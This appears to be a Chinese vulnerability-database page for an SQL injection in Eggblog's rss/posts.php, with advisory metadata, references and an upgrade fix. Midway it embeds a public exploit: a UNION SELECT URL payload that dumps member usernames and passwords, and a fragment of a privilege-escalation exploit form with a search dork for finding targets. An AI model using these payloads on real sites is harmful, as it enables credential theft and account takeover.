发布时间 :2006-06-01 06:02:00
修订时间 :2017-07-19 21:31:43

[原文]SQL injection vulnerability in rss/posts.php in Eggblog before 3.07 allows remote attackers to execute arbitrary SQL commands via the id parameter.

[CNNVD]eggBlog Posts.PHP SQL注入漏洞(CNNVD-200606-006)

        Eggblog 的3.07之前版本的的rss/posts.php中的SQL注入漏洞可让远程攻击者通过id参数执行任意SQL命令。

- CVSS (基础分值)

CVSS分值: 6.4 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BUGTRAQ  20060528 Advisory: Eggblog <= 3.x Multiple Remote Vulnerabilities
(UNKNOWN)  BUGTRAQ  20060529 RE: Advisory: Eggblog <= 3.x Multiple Remote Vulnerabilities
(UNKNOWN)  BID  18140
(UNKNOWN)  VUPEN  ADV-2006-2030
(UNKNOWN)  XF  eggblog-posts-sql-injection(26832)

- 漏洞信息

eggBlog Posts.PHP SQL注入漏洞
中危 SQL注入
2006-06-01 00:00:00 2006-06-01 00:00:00
        Eggblog 的3.07之前版本的的rss/posts.php中的SQL注入漏洞可让远程攻击者通过id参数执行任意SQL命令。

- 公告与补丁

        Epic Designs eggblog 3.06
        Epic Designs eggblog_v3.07.tar.gz

- 漏洞信息 (1842)

Eggblog < 3.07 Remote (SQL Injection / Privilege Escalation) Exploit (EDBID:1842)
php webapps
2006-05-28 Verified
0 nukedx
N/A [点击下载]
Eggblog <= 3.x Multiple Remote Vulnerabilities
Discovered by: nukedx
Contacts: ICQ: 10072 MSN/Mail: web:
Original advisory can be found at:
Eggblog <= 3.0.6 (rss/posts.php id) Remote SQL injection
Example ->  http://[site]/[EggBlog]/rss/posts.php?id=1'/**/UNION/**/SELECT/**/0,concat('Username:%20',username),concat('Password:%20',password)/**/from/**/eggblog_members/*
This SQL injection will list you all users and passwords.

<title>Eggblog 2.x Remote Privilege Escalation</title>
<body bgcolor="#000000">
.xpl {font-family:tahoma; font-size:11px; text-decoration: none;}
<script language="JavaScript">
function egxpl() {
  if (document.xplt.victim.value=="") {
    alert("Please enter site!");
    return false;
  if (confirm("Are you sure?")) {
<font class="xpl" color="#00FF40">
Welcome to Eggblog 2.x Remote Privilege Escalation
This exploit has been coded by nukedx
You can found original advisory on
Dork for this exploit: <u>inurl:"powered by eggblog"</u>
Your target must be like that:
The sites you found with given dork has like: or
If the site has /eggblog/home in link your target must be
For second example your target must be
You can login with your admin account via
Have phun
<form name="xplt" method="POST" onsubmit="egxpl();">
Target -> <input type="text" name="victim" value="" size="44" class="xpl">
<input type="text" name="username" value="Enter Username" class="xpl" size="30">
<input type="text" name="email" value="Enter Email" class="xpl" size="30">
<input type="text" name="password" value="Enter Password" class="xpl" size="30">
<input type="hidden" name="ref" value="T">
<input type="submit" value="Send" class="xpl">

# [2006-05-28]

- 漏洞信息

eggblog posts.php id Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-05-28 Unknow
2006-05-28 Unknow

- 解决方案

Upgrade to version 3.07 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

eggBlog Posts.PHP SQL Injection Vulnerability
Input Validation Error 18140
Yes No
2006-05-29 12:00:00 2008-01-08 10:39:00
Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI is credited with the discovery of this vulnerability.

- 受影响的程序版本

Epic Designs eggblog 3.06
Epic Designs eggblog 3.07

- 不受影响的程序版本

Epic Designs eggblog 3.07

- 漏洞讨论

eggBlog is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

eggBlog 3.06 is vulnerable to this issue; previous versions may also be affected.

- 漏洞利用

Attackers can exploit this issue through a browser.

An example URI has been provided:[EggBlog]/rss/posts.php?id=[SQL]

- 解决方案

The vendor has released eggBlog 3.0.7 to address this issue.

Epic Designs eggblog 3.06

- 相关参考